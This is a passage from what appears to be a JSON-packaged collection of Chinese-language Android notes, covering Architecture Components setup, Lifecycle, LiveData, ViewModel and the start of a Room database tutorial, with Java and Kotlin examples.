`App`的完全的数据模型，`ViewModel`交互的对象，提供简单的数据修改和获取的接口，配合好网络层数据的更新与本地持久化数据的更新，同步等\n\n- `Data Source`      \n    包含本地的数据库等，网络`api`等，这些基本上和现有的一些`MVVM`，以及`Clean`架构的组合比较相似\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! `"
  },
  {
    "path": "docs/android/AndroidNote/ArchitectureComponents/2.集成(二).md",
    "content": "集成(一)\n===\n\n\n首先在`Project`目录中的`build.gradle`中添加`google()`仓库(大部分项目可能都已经有了):   \n\n```\nallprojects {\n    repositories {\n        jcenter()\n        google()\n    }\n}\n```\n\n然后在`app`的`build.gradle`中添加对应的依赖,如:   \n\n```\nimplementation \"androidx.lifecycle:lifecycle-viewmodel:$lifecycle_version\"\n```\n如果想要使用`kotlin`开发的话，可以在后面加上`-ktx`后缀就可以了，如下:   \n```\nimplementation \"androidx.lifecycle:lifecycle-viewmodel-ktx:$lifecycle_version\"\n```\n\n`Lifecycle`依赖:   \n---\n\n`Lifecycle`依赖包括`LiveData`和`ViewModel`\n\n```\ndependencies {\n    def lifecycle_version = \"1.1.1\"\n\n    // ViewModel and LiveData\n    implementation \"android.arch.lifecycle:extensions:$lifecycle_version\"\n    // alternatively - just ViewModel\n    implementation \"android.arch.lifecycle:viewmodel:$lifecycle_version\" // use -ktx for Kotlin\n    // alternatively - just LiveData\n    implementation \"android.arch.lifecycle:livedata:$lifecycle_version\"\n    // alternatively - Lifecycles only (no ViewModel or LiveData).\n    //     Support library depends on this lightweight import\n    implementation \"android.arch.lifecycle:runtime:$lifecycle_version\"\n\n    annotationProcessor \"android.arch.lifecycle:compiler:$lifecycle_version\"\n    // alternately - if using Java8, use the following instead of compiler\n    implementation \"android.arch.lifecycle:common-java8:$lifecycle_version\"\n\n    // optional - ReactiveStreams support for LiveData\n    implementation \"android.arch.lifecycle:reactivestreams:$lifecycle_version\"\n\n    // optional - Test helpers for LiveData\n    testImplementation \"android.arch.core:core-testing:$lifecycle_version\"\n}\n```\n\n\n`Room`依赖:   \n---\n\n`Room`的依赖包括`testing Room migrations`和`Room RxJava`\n\n```\ndependencies {\n    def room_version = \"1.1.1\"\n\n    implementation \"android.arch.persistence.room:runtime:$room_version\"\n    annotationProcessor \"android.arch.persistence.room:compiler:$room_version\"\n\n    // optional - RxJava support for Room\n    implementation \"android.arch.persistence.room:rxjava2:$room_version\"\n\n    // optional - Guava support for Room, including Optional and ListenableFuture\n    implementation \"android.arch.persistence.room:guava:$room_version\"\n\n    // Test helpers\n    testImplementation \"android.arch.persistence.room:testing:$room_version\"\n}\n\n```\n\n`Paging`依赖\n---\n\n```\ndependencies {\n    def paging_version = \"1.0.0\"\n\n    implementation \"android.arch.paging:runtime:$paging_version\"\n\n    // alternatively - without Android dependencies for testing\n    testImplementation \"android.arch.paging:common:$paging_version\"\n\n    // optional - RxJava support, currently in release candidate\n    implementation \"android.arch.paging:rxjava2:1.0.0-rc1\"\n}\n```\n\n`Navigation`依赖\n---\n\n> Navigation classes are already in the androidx.navigation package, but currently depend on Support Library 27.1.1, and associated Arch component versions. Version of Navigation with AndroidX dependencies will be released in the future.\n\n```\ndependencies {\n    def nav_version = \"1.0.0-alpha02\"\n\n    implementation \"android.arch.navigation:navigation-fragment:$nav_version\" // use -ktx for Kotlin\n    implementation \"android.arch.navigation:navigation-ui:$nav_version\" // use -ktx for Kotlin\n\n    // optional - Test helpers\n    androidTestImplementation \"android.arch.navigation:navigation-testing:$nav_version\" // use -ktx for Kotlin\n}\n```\n\n\n`Safe args`依赖\n---\n\n想要使用`Safe args`，需要在`Project`顶层的`build.gradle`中配置以下路径:   \n```\nbuildscript {\n    repositories {\n        google()\n    }\n    dependencies {\n        classpath \"android.arch.navigation:navigation-safe-args-gradle-plugin:1.0.0-alpha02\"\n    }\n}\n```\n并且在`app`或`module`中`build.gradle`中:   \n```\napply plugin: \"androidx.navigation.safeargs\"\n```\n\n`WorkManager`依赖\n---\n\n> WorkManager classes are already in the androidx.work package, but currently depend on Support Library 27.1, and associated Arch component versions. Version of WorkManager with AndroidX dependencies will be released in the future.\n\n\n```\ndependencies {\n    def work_version = \"1.0.0-alpha03\"\n\n    implementation \"android.arch.work:work-runtime:$work_version\" // use -ktx for Kotlin\n\n    // optional - Firebase JobDispatcher support\n    implementation \"android.arch.work:work-firebase:$work_version\"\n\n    // optional - Test helpers\n    androidTestImplementation \"android.arch.work:work-testing:$work_version\"\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! `"
  },
  {
    "path": "docs/android/AndroidNote/ArchitectureComponents/3.Lifecycle(三).md",
    "content": "Lifecycle(三)\n===\n\n\n`Android`开发中，经常需要管理生命周期。举个栗子，我们需要获取用户的地址位置，当这个`Activity`在显示的时候，我们开启定位功能，然后实时获取到定位信息，当页面被销毁的时候，需要关闭定位功能。\n```java\nclass MyLocationListener {\n    public MyLocationListener(Context context, Callback callback) {\n        // ...\n    }\n\n    void start() {\n        // connect to system location service\n    }\n\n    void stop() {\n        // disconnect from system location service\n    }\n}\n\n\nclass MyActivity extends AppCompatActivity {\n    private MyLocationListener myLocationListener;\n\n    @Override\n    public void onCreate(...) {\n        myLocationListener = new MyLocationListener(this, (location) -> {\n            // update UI\n        });\n    }\n\n    @Override\n    public void onStart() {\n        super.onStart();\n        myLocationListener.start();\n        // manage other components that need to respond\n        // to the activity lifecycle\n    }\n\n    @Override\n    public void onStop() {\n        super.onStop();\n        myLocationListener.stop();\n        // manage other components that need to respond\n        // to the activity lifecycle\n    }\n}\n```\n\n上面的代码看起来还挺简单，但是当定位功能需要满足一些条件下才开启，那么会变得复杂多了。可能在执行`Activity`的`stop`方法时，定位的`start`方法才刚刚开始执行，比如如下代码，这样生命周期管理就变得很麻烦了。\n```java\nclass MyActivity extends AppCompatActivity {\n    private MyLocationListener myLocationListener;\n\n    public void onCreate(...) {\n        myLocationListener = new MyLocationListener(this, location -> {\n            // update UI\n        });\n    }\n\n    @Override\n    public void onStart() {\n        super.onStart();\n        Util.checkUserStatus(result -> {\n            // what if this callback is invoked AFTER activity is stopped?\n            if (result) {\n                myLocationListener.start();\n            }\n        });\n    }\n\n    @Override\n    public void onStop() {\n        super.onStop();\n        myLocationListener.stop();\n    }\n}\n```\n\n`android.arch.lifecycle`包提供的类和接口可帮助您用简单和独立的方式解决这些问题。\n\n`Lifecycle`类是一个持有组件(`activity`或`fragment`)生命周期信息的类，其他对象可以观察该状态。`Lifecycle`使用两个重要的枚举部分来管理对应组件的生命周期的状态:   \n\n- `Event`:生命周期事件由系统来分发，这些事件对应于`Activity`和`Fragment`的生命周期函数。\n\n- `State`:`Lifecycle`对象所追踪的组件的当前状态   \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/lifecycle-states.png\" width=\"100%\" height=\"100%\">\n\n\n```kotlin\nclass MainActivity : AppCompatActivity() {\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_main)\n        // lifecycle是LifecycleOwner接口的getLifecycle()方法得到的，从com.android.support:appcompat-v7:26.1.0开始activity和fragment都实现了该接口\n        lifecycle.addObserver(MyObserver()) \n    }\n}\n```\n\n```kotlin\nclass MyObserver : LifecycleObserver{\n    @OnLifecycleEvent(Lifecycle.Event.ON_RESUME)\n    fun connectListener() {\n        Log.e(\"@@@\", \"connect\")\n    }\n\n    @OnLifecycleEvent(Lifecycle.Event.ON_PAUSE)\n    fun disconnectListener() {\n        Log.e(\"@@@\", \"disconnect\")\n    }\n}\n```\n上面的`lifecycle.addObserver(MyObserver()) `的完整写法应该是`aLifecycleOwner.getLifecycle().addObserver(new MyObserver())`而`aLifecycleOwner`一般是实现了`LifecycleOwner`的类，比如`Activity/Fragment`\n\n\n\n`LifecycleOwner`\n--- \n\n那什么是`LifecycleOwner`呢？实现`LifecycleOwner`接口就表示这是个有生命周期的类，他有一个`getLifecycle ()`方法是必须实现的。   \n\n对于前面提到的监听位置的例子。可以把`MyLocationListener`实现`LifecycleObserver`,然后在`Lifecycle（Activity／Fragment）`的`onCreate`方法中初始化。这样`MyLocationListener`就能自行处理生命周期带来的问题。\n\n\n\n从`Support Library 26.1.0`开始`Activity／Fragment`已经实现了`LifecycleOwner`接口。\n如果想在自定义的类中实现`LifecyclerOwner`，就需要用到[LifecycleRegistry](https://developer.android.com/reference/android/arch/lifecycle/LifecycleRegistry)类,并且需要自行发送`Event`:  \n\n```java\npublic class MyActivity extends Activity implements LifecycleOwner {\n    private LifecycleRegistry mLifecycleRegistry;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n\n        mLifecycleRegistry = new LifecycleRegistry(this);\n        mLifecycleRegistry.markState(Lifecycle.State.CREATED);\n    }\n\n    @Override\n    public void onStart() {\n        super.onStart();\n        mLifecycleRegistry.markState(Lifecycle.State.STARTED);\n    }\n\n    @NonNull\n    @Override\n    public Lifecycle getLifecycle() {\n        return mLifecycleRegistry;\n    }\n}\n```\n\n\n`Lifecycles`的最佳建议:   \n\n- 保持`UI Controllers（Activity／Fragment）`中代码足够简洁。一定不能包含如何获取数据的代码，要通过`ViewModel`获取`LiveData`形式的数据。\n- 用数据驱动`UI`，`UI`的职责就是根据数据改变显示的内容，并且把用户操作`UI`的行为传递给`ViewModel`。\n- 把业务逻辑相关的代码放到`ViewModel`中，把`ViewModel`看成是链接`UI`和`App`其他部分的纽带。但`ViewModel`不能直接获取数据，要通过调用其他类来获取数据。\n- 使用`DataBinding`来简化`View`（布局文件）和`UI Controllers（Activity／Fragment）`之间的代码\n- 如果布局本身太过复杂，可以考虑创建一个`Presenter`类来处理UI相关的改变。虽然这么做会多写很多代码，但是对于保持`UI`的简介和可测试性是有帮助的。\n- 不要在`ViewModel`中持有任何`View／Activity`的`context`。否则会造成内存泄露。\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! `"
  },
  {
    "path": "docs/android/AndroidNote/ArchitectureComponents/4.LiveData(四).md",
    "content": "LiveData(四)\n===\n\n> LiveData is an observable data holder class. Unlike a regular observable, LiveData is lifecycle-aware, meaning it respects the lifecycle of other app components, such as activities, fragments, or services. This awareness ensures LiveData only updates app component observers that are in an active lifecycle state.\n\n\n`LiveData`是一种持有可被观察数据的类。和其他可被观察的类不同的是，`LiveData`是有生命周期感知能力的，这意味着它可以在`activities`,`fragments`,或者`services`生命周期是活跃状态时更新这些组件。那么什么是活跃状态呢？上篇文章中提到的`STARTED`和`RESUMED`就是活跃状态，只有在这两个状态下`LiveData`是会通知数据变化的。\n\n要想使用`LiveData`（或者这种有可被观察数据能力的类）就必须配合实现了`LifecycleOwner`的对象使用。在这种情况下，当对应的生命周期对象`DESTROYED`时，才能移除观察者。这对`Activity`或者`Fragment`来说显得尤为重要，因为他们可以在生命周期结束的时候立刻解除对数据的订阅，从而避免内存泄漏等问题。\n\n\n\n\n使用`LiveData`的优点:   \n\n- `UI`和实时数据保持一致 因为`LiveData`采用的是观察者模式，这样一来就可以在数据发生改变时获得通知，更新`UI`。\n- 避免内存泄漏,观察者被绑定到组件的生命周期上，当被绑定的组件销毁（`destory`）时，观察者会立刻自动清理自身的数据。\n- 不会再产生由于`Activity`处于`stop`状态而引起的崩溃 例如:当`Activity`处于后台状态时，是不会收到`LiveData`的任何事件的。\n- 不需要再解决生命周期带来的问题`LiveData`可以感知被绑定的组件的生命周期，只有在活跃状态才会通知数据变化。\n- 实时数据刷新,当组件处于活跃状态或者从不活跃状态到活跃状态时总是能收到最新的数据\n- 解决`Configuration Change`问题,在屏幕发生旋转或者被回收再次启动，立刻就能收到最新的数据。\n- 数据共享,如果对应的`LiveData`是单例的话，就能在`app`的组件间分享数据。\n\n\n\n使用`LiveData`:      \n\n- 创建一个持有某种数据类型的`LiveData`(通常是在`ViewModel`中)\n- 创建一个定义了`onChange()`方法的观察者。这个方法是控制`LiveData`中数据发生变化时，采取什么措施 (比如更新界面)。通常是在`UI Controller`(`Activity/Fragment`)中创建这个观察者。\n- 通过`observe()`方法连接观察者和`LiveData`。`observe()`方法需要携带一个`LifecycleOwner`类。这样就可以让观察者订阅`LiveData`中的数据，实现实时更新。\n\n\n创建`LiveData`对象\n--- \n\n`LiveData`是一个数据的包装。具体的包装对象可以是任何数据，包括集合（比如`List`）。`LiveData`通常在`ViewModel`中创建，然后通过`getter`方法获取。具体可以看一下代码:   \n```java\npublic class NameViewModel extends ViewModel {\n\n// Create a LiveData with a String\nprivate MutableLiveData<String> mCurrentName;\n\n    public MutableLiveData<String> getCurrentName() {\n        if (mCurrentName == null) {\n            mCurrentName = new MutableLiveData<String>();\n        }\n        return mCurrentName;\n    }\n\n// Rest of the ViewModel...\n}\n```\n\n观察`LiveData`中的数据\n---\n\n\n通常情况下都是在组件的`onCreate()`方法中开始观察数据，原因有以下两点:   \n\n- 系统会多次调用`onResume()`方法\n- 确保`Activity/Fragment`在处于活跃状态时立刻可以展示数据。\n\n```java\npublic class NameActivity extends AppCompatActivity {\n\n    private NameViewModel mModel;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n\n        // Other code to setup the activity...\n\n        // Get the ViewModel.\n        mModel = ViewModelProviders.of(this).get(NameViewModel.class);\n\n\n        // Create the observer which updates the UI.\n        final Observer<String> nameObserver = new Observer<String>() {\n            @Override\n            public void onChanged(@Nullable final String newName) {\n                // Update the UI, in this case, a TextView.\n                mNameTextView.setText(newName);\n            }\n        };\n\n        // Observe the LiveData, passing in this activity as the LifecycleOwner and the observer.\n        mModel.getCurrentName().observe(this, nameObserver);\n    }\n}\n```\n\n更新`LiveData`对象\n---\n\n\n如果想要在`UI Controller`中改变`LiveData`中的值呢？（比如点击某个`Button`把性别从男设置成女）。`LiveData`并没有提供这样的功能，但是`Architecture Component`提供了`MutableLiveData`这样一个类，可以通过`setValue(T)`和`postValue(T)`方法来修改存储在`LiveData`中的数据。`MutableLiveData`是`LiveData`的一个子类，从名称上也能看出这个类的作用。举个直观点的例子:  \n\n```java\nmButton.setOnClickListener(new OnClickListener() {\n    @Override\n    public void onClick(View v) {\n        String anotherName = \"John Doe\";\n        mModel.getCurrentName().setValue(anotherName);\n    }\n})\n```\n调用`setValue()`方法就可以把`LiveData`中的值改为`John Doe`。同样通过这种方法修改`LiveData`中的值同样会触发所有对这个数据感兴趣的类。那么`setValue()`和`postValue()`有什么不同呢？区别就是`setValue()`只能在主线程中调用，而`postValue()`可以在子线程中调用。\n\n\n`Room`和`LiveData`配合使用\n--- \n\n`Room`可以返回`LiveData`的数据类型。这样对数据库中的任何改动都会被传递出去。这样修改完数据库就能获取最新的数据，减少了主动获取数据的代码。\n\n继承`LiveData`扩展功能\n---\n\n`LiveData`的活跃状态包括:`STARTED`或者`RESUMED`两种状态。那么如何在活跃状态下把数据传递出去呢？下面是示例代码:  \n\n```java\npublic class StockLiveData extends LiveData<BigDecimal> {\n    private StockManager mStockManager;\n\n    private SimplePriceListener mListener = new SimplePriceListener() {\n        @Override\n        public void onPriceChanged(BigDecimal price) {\n            setValue(price);\n        }\n    };\n\n    public StockLiveData(String symbol) {\n        mStockManager = new StockManager(symbol);\n    }\n\n    @Override\n    protected void onActive() {\n        mStockManager.requestPriceUpdates(mListener);\n    }\n\n    @Override\n    protected void onInactive() {\n        mStockManager.removeUpdates(mListener);\n    }\n}\n```\n\n上面有三个重要的方法:   \n\n- The onActive() method is called when the LiveData object has an active observer. This means you need to start observing the stock price updates from this method.\n- The onInactive() method is called when the LiveData object doesn't have any active observers. Since no observers are listening, there is no reason to stay connected to the StockManager service.\n- The setValue(T) method updates the value of the LiveData instance and notifies any active observers about the change.\n\n可以像下面这样使用`StockLiveData`:   \n```java\npublic class MyFragment extends Fragment {\n    @Override\n    public void onActivityCreated(Bundle savedInstanceState) {\n        super.onActivityCreated(savedInstanceState);\n        LiveData<BigDecimal> myPriceListener = ...;\n        myPriceListener.observe(this, price -> {\n            // Update the UI.\n        });\n    }\n}\n```\n上面`observe()`方法中的第一个参数传递的是`fragment`的实例，该`fragment`实现了`LifecycleOwner`接口。这样做是为了将`observer`和`Lifecycle`对象绑定到一起，这意味着:      \n- 如果当前的`Lifecycle`对象不是出于活跃期，就算`value`值有改变也不会回调到`observer`中\n- 在`Lifecycle`对象销毁后哦，`observer`对象也会自动移除\n\n实际上`LiveData`对象是适应生命周期也就意味着你需要在多个`activities`,`fragments`和`services`中进行共享，所以通常我们会将`LiveData`的示例设计成单例的:   \n```java\npublic class StockLiveData extends LiveData<BigDecimal> {\n    private static StockLiveData sInstance;\n    private StockManager mStockManager;\n\n    private SimplePriceListener mListener = new SimplePriceListener() {\n        @Override\n        public void onPriceChanged(BigDecimal price) {\n            setValue(price);\n        }\n    };\n\n    @MainThread\n    public static StockLiveData get(String symbol) {\n        if (sInstance == null) {\n            sInstance = new StockLiveData(symbol);\n        }\n        return sInstance;\n    }\n\n    private StockLiveData(String symbol) {\n        mStockManager = new StockManager(symbol);\n    }\n\n    @Override\n    protected void onActive() {\n        mStockManager.requestPriceUpdates(mListener);\n    }\n\n    @Override\n    protected void onInactive() {\n        mStockManager.removeUpdates(mListener);\n    }\n}\n```\n这样就可以在`fragment`中像如下这样使用:   \n```java\npublic class MyFragment extends Fragment {\n    @Override\n    public void onActivityCreated(Bundle savedInstanceState) {\n        StockLiveData.get(getActivity()).observe(this, price -> {\n            // Update the UI.\n        });\n    }\n}\n```\n\n转换LiveData\n---\n\n你可能有时会在`LiveData`分发给`observers`之前想要修改一下存储在`LiveData`中的值，或者你想根据当前的值进行修改返回另一个值。`Lifecycle`提供了`Transformations`类来通过里面的`helper`方法解决这种问题。 \n\n- `Transformations.map()`\n\n可以将`LiveData`中的数据进行改变。\n\n\n```java\nLiveData<User> userLiveData = ...;\nLiveData<String> userName = Transformations.map(userLiveData, user -> {\n    user.name + \" \" + user.lastName\n});\n```\n将`LiveData`中的`User`数据转换成`String`  \n\n\n- `Transformations.switchMap()`\n\n```java\nprivate LiveData<User> getUser(String id) {\n  ...;\n}\n\nLiveData<String> userId = ...;\nLiveData<User> user = Transformations.switchMap(userId, id -> getUser(id) );\n```\n\n\n和上面的`map()`方法很像。区别在于传递给`switchMap()`的函数必须返回`LiveData`对象。\n和`LiveData`一样,`Transformation`也可以在观察者的整个生命周期中存在。只有在观察者处于观察`LiveData`状态时,`Transformation`才会运算。`Transformation`是延迟运算的（`calculated lazily`），而生命周期感知的能力确保不会因为延迟发生任何问题。\n\n如果在`ViewModel`对象的内部需要一个`Lifecycle`对象，那么使用`Transformation`是一个不错的方法。举个例子:假如有个`UI`组件接受输入的地址，返回对应的邮政编码。那么可以 实现一个`ViewModel`和这个组件绑定:   \n```java\nclass MyViewModel extends ViewModel {\n    private final PostalCodeRepository repository;\n    public MyViewModel(PostalCodeRepository repository) {\n       this.repository = repository;\n    }\n\n    private LiveData<String> getPostalCode(String address) {\n       // DON'T DO THIS\n       return repository.getPostCode(address);\n    }\n}\n\n```\n\n看代码中的注释，有个`// DON'T DO THIS`(不要这么干),这是为什么？有一种情况是如果`UI`组件被回收后又被重新创建，那么又会触发一次`repository.getPostCode(address)`询，而不是重用上次已经获取到的查询。那么应该怎样避免这个问题呢？看一下下面的代码:  \n\n```java\nclass MyViewModel extends ViewModel {\n    private final PostalCodeRepository repository;\n    private final MutableLiveData<String> addressInput = new MutableLiveData();\n    public final LiveData<String> postalCode =\n            Transformations.switchMap(addressInput, (address) -> {\n                return repository.getPostCode(address);\n             });\n\n  public MyViewModel(PostalCodeRepository repository) {\n      this.repository = repository\n  }\n\n  private void setInput(String address) {\n      addressInput.setValue(address);\n  }\n}\n```\n\n`postalCode`变量的修饰符是`public`和`final`，因为这个变量的是不会改变的。哎？不会改变？那我输入不同的地址还总返回相同邮编？先打住，`postalCode`这个变量存在的作用是把输入的`addressInput`转换成邮编，那么只有在输入变化时才会调用`repository.getPostCode()`方法。这就好比你用`final`来修饰一个数组，虽然这个变量不能再指向其他数组，但是数组里面的内容是可以被修改的。绕来绕去就一点:当输入是相同的情况下，用了`switchMap()`可以减少没有必要的请求。并且同样，只有在观察者处于活跃状态时才会运算并将结果通知观察者。\n\n\n\n\n合并多个`LiveData`中的数据\n---\n\n`MediatorLiveData`是`LiveData`的子类，可以通过`MediatorLiveData`合并多个`LiveData`来源的数据。同样任意一个来源的`LiveData`数据发生变化，`MediatorLiveData`都会通知观察他的对象。说的有点抽象，举个例子。比如`UI`接收来自本地数据库和网络数据，并更新相应的`UI`。可以把下面两个`LiveData`加入到`MeidatorLiveData`中:   \n\n- 关联数据库的`LiveData`\n- 关联联网请求的`LiveData`\n相应的`UI`只需要关注`MediatorLiveData`就可以在任意数据来源更新时收到通知。\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! `"
  },
  {
    "path": "docs/android/AndroidNote/ArchitectureComponents/5.ViewModel(五).md",
    "content": "5.ViewModel(五)\n===\n\n`ViewModel`是用来存储`UI`层的数据，以及管理对应的数据，当数据修改的时候，可以马上刷新`UI`。\n\n`Android`系统提供控件，比如`Activity`和`Fragment`，这些控件都是具有生命周期方法，这些生命周期方法被系统调用。\n\n当这些控件被销毁或者被重建的时候，如果数据保存在这些对象中，那么数据就会丢失。比如在一个界面，保存了一些用户信息，当界面重新创建的时候，就需要重新去获取数据。当然了也可以使用控件自动再带的方法，在`onSaveInstanceState`方法中保存数据，在`onCreate`中重新获得数据，但这仅仅在数据量比较小的情况下。如果数据量很大，这种方法就不能适用了。\n\n另外一个问题就是，经常需要在`Activity`中加载数据，这些数据可能是异步的，因为获取数据需要花费很长的时间。那么`Activity`就需要管理这些数据调用，否则很有可能会产生内存泄露问题。最后需要做很多额外的操作，来保证程序的正常运行。\n\n同时`Activity`不仅仅只是用来加载数据的，还要加载其他资源，做其他的操作，最后`Activity`类变大，就是我们常讲的上帝类。也有不少架构是把一些操作放到单独的类中，比如`MVP`就是这样，创建相同类似于生命周期的函数做代理，这样可以减少`Activity`的代码量，但是这样就会变得很复杂，同时也难以测试。\n\n`AAC`中提供`ViewModel`可以很方便的用来管理数据。我们可以利用它来管理`UI`组件与数据的绑定关系。`ViewModel`提供自动绑定的形式，当数据源有更新的时候，可以自动立即的更新`UI`。   \n\n\n实现`ViewModel`\n---\n\n```java\npublic class MyViewModel extends ViewModel {\n    private MutableLiveData<List<User>> users;\n    public LiveData<List<User>> getUsers() {\n        if (users == null) {\n            users = new MutableLiveData<List<User>>();\n            loadUsers();\n        }\n        return users;\n    }\n\n    private void loadUsers() {\n        // Do an asynchronous operation to fetch users.\n    }\n}\n```\n\n然后可以再`activity`像如下这样获取数据:   \n```java\npublic class MyActivity extends AppCompatActivity {\n    public void onCreate(Bundle savedInstanceState) {\n        // Create a ViewModel the first time the system calls an activity's onCreate() method.\n        // Re-created activities receive the same MyViewModel instance created by the first activity.\n\n        MyViewModel model = ViewModelProviders.of(this).get(MyViewModel.class);\n        model.getUsers().observe(this, users -> {\n            // update UI\n        });\n    }\n}\n```\n\n在`activity`重建后，它会收到在第一个`activity`中创建的同一个`MyViewModel`实例，当所属的`activity`销毁后，`framework`会调用`ViewModel`对象的`onCleared()`\n方法来清除资源。\n\n\n`ViewModel`的生命周期\n---\n\n`ViewModel`在获取`ViewModel`对象时会通过`ViewModelProvider`的传递来绑定对应的声明周期。   \n`ViewModel`只有在`Activity finish`或者`Fragment detach`之后才会销毁。\n\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/viewmodel-lifecycle.png\" width=\"100%\" height=\"100%\">\n\n\n\n在`Fragments`间分享数据\n---\n\n有时候一个`Activity`中的两个或多个`Fragment`需要分享数据或者相互通信，这样就会带来很多问题，比如数据获取，相互确定生命周期。\n\n使用`ViewModel`可以很好的解决这个问题。假设有这样两个`Fragment`，一个`Fragment`提供一个列表，另一个`Fragment`提供点击每个`item`现实的详细信息。\n\n\n```java\npublic class SharedViewModel extends ViewModel {\n    private final MutableLiveData<Item> selected = new MutableLiveData<Item>();\n\n    public void select(Item item) {\n        selected.setValue(item);\n    }\n\n    public LiveData<Item> getSelected() {\n        return selected;\n    }\n}\n\npublic class MasterFragment extends Fragment {\n    private SharedViewModel model;\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        model = ViewModelProviders.of(getActivity()).get(SharedViewModel.class);\n        itemSelector.setOnClickListener(item -> {\n            model.select(item);\n        });\n    }\n}\n\npublic class DetailFragment extends LifecycleFragment {\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        SharedViewModel model = ViewModelProviders.of(getActivity()).get(SharedViewModel.class);\n        model.getSelected().observe(this, { item ->\n           // update UI\n        });\n    }\n}\n```\n\n两个`Fragment`都是通过`getActivity()`来获取`ViewModelProvider`。这意味着两个`Activity`都是获取的属于同一个`Activity`的同一个`ShareViewModel`实例。\n这样做优点如下:   \n\n- `Activity`不需要写任何额外的代码，也不需要关心`Fragment`之间的通信。\n- `Fragment`不需要处理除`SharedViewModel`以外其他的代码。这两个`Fragment`不需要知道对方是否存在。\n- `Fragment`的生命周期不会相互影响\n\n\n\n\n`ViewModel`和`SavedInstanceState`对比\n---\n\n`ViewModel`使得在`configuration change`（旋转屏幕等）保存数据变的十分方便，但是这不能用于应用被系统杀死时持久化数据。举个简单的例子，有一个界面展示国家信息。\n不应该把整个国家信息放到`SavedInstanceState`里，而是把国家对应的`id`放到`SavedInstanceState`，等到界面恢复时，再通过`id`去获取详细的信息。这些详细的信息应该被存放在数据库中。\n\n\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/viewModel_saveinstancestate.png\" width=\"100%\" height=\"100%\">\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! `"
  },
  {
    "path": "docs/android/AndroidNote/ArchitectureComponents/6.Room(六).md",
    "content": "6.Room(六)\n===\n\n`Room`是一个持久化工具，和`ormlite`、`greenDao`类似，都是`ORM`工具。在开发中我们可以利用`Room`来操作`sqlite`数据库。\n\n使用原始的`SQLite`可以提供这样的功能，但是有以下两个缺点:   \n\n- 没有编译时`SQL`语句的检查。尤其是当你的数据库表发生变化时，需要手动的更新相关代码，这会花费相当多的时间并且容易出错。\n- 编写大量`SQL`语句和`Java`对象之间相互转化的代码。\n针对以上的缺点，`Google`提供了`Room`来解决这些问题。`Room`包含以下三个重要组成部分:   \n\n- `Database`:使用注解申明一个类，注解中包含若干个`Entity`类，这个`Database`类主要负责创建数据库以及获取数据对象的。\n- `Entities`:表示每个数据库的总的一个表结构，同样也是使用注解表示，类中的每个字段都对应表中的一列。\n- `DAO`:`Data Access Object`的缩写，表示从从代码中直接访问数据库，屏蔽`sql`语句。\n\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/room_architecture.png\" width=\"100%\" height=\"100%\">\n\n其实这和传统写数据库创建访问的代码大概形式差不多的。以存储`User`信息为例，看一下下面的代码:   \n\n```java\n@Entity\npublic class User {\n    @PrimaryKey\n    private int uid;\n\n    @ColumnInfo(name = \"first_name\")\n    private String firstName;\n\n    @ColumnInfo(name = \"last_name\")\n    private String lastName;\n\n    // Getters and setters are ignored for brevity, \n    // but they're required for Room to work.\n    //Getters和setters为了简单起见就省略了，但是对Room来说是必须的\n}\n```\n\n```java\n@Dao\npublic interface UserDao {\n    @Query(\"SELECT * FROM user\")\n    List<User> getAll();\n\n    @Query(\"SELECT * FROM user WHERE uid IN (:userIds)\")\n    List<User> loadAllByIds(int[] userIds);\n\n    @Query(\"SELECT * FROM user WHERE first_name LIKE :first AND \"\n           + \"last_name LIKE :last LIMIT 1\")\n    User findByName(String first, String last);\n\n    @Insert\n    void insertAll(User... users);\n\n    @Delete\n    void delete(User user);\n}\n```\n\n```java\n@Database(entities = {User.class}, version = 1)\npublic abstract class AppDatabase extends RoomDatabase {\n    public abstract UserDao userDao();\n}\n```\n\n在创建了上面三个文件后，就可以通过如下代码创建数据库了:   \n```java\nAppDatabase db = Room.databaseBuilder(getApplicationContext(),\n        AppDatabase.class, \"database-name\").build();\n```\n\n\n下面详细介绍提到的各个部分:  \n\nEntities\n---\n\n\n`@Entity`      \n如果上面的`User`类中包含一个字段是不希望存放到数据库中的，那么可以用`@Ignore`注解这个字段:   \n\n```java\n@Entity\nclass User {\n    @PrimaryKey\n    public int id;\n\n    public String firstName;\n    public String lastName;\n\n    //不需要被存放到数据库中\n    @Ignore\n    Bitmap picture;\n}\n```\n\n`Room`持久化一个类的`field`必须要求这个`field`是可以访问的。可以把这个`field`设为`public`或者设置`setter`和`getter`。\n\n`Primary Key`主键\n---\n\n每个`Entity`都必须定义一个`field`为主键，即使是这个`Entity`只有一个`field`。如果想要`Room`生成自动的`primary key`，可以使用`@PrimaryKey`的`autoGenerate`属性。如果`Entity`的`primary key`是多个`Field`的复合`Key`，可以向下面这样设置:   \n\n```java\n@Entity(primaryKeys = {\"firstName\", \"lastName\"})\nclass User {\n    public String firstName;\n    public String lastName;\n\n    @Ignore\n    Bitmap picture;\n}\n```\n在默认情况下`Room`使用类名作为数据库表的名称。如果想要设置不同的名称，可以参考下面的代码，设置表名`tableName`为`users`:    \n```java\n@Entity(tableName = \"users\")\nclass User {\n    ...\n}\n```\n和设置`tableName`相似，`Room`默认使用`field`的名称作为表的列名。如果想要使用不同的名称，可以通过`@ColumnInfo(name = \"first_name\")`设置，代码如下:   \n```java\n@Entity(tableName = \"users\")\nclass User {\n    @PrimaryKey\n    public int id;\n\n    @ColumnInfo(name = \"first_name\")\n    public String firstName;\n\n    @ColumnInfo(name = \"last_name\")\n    public String 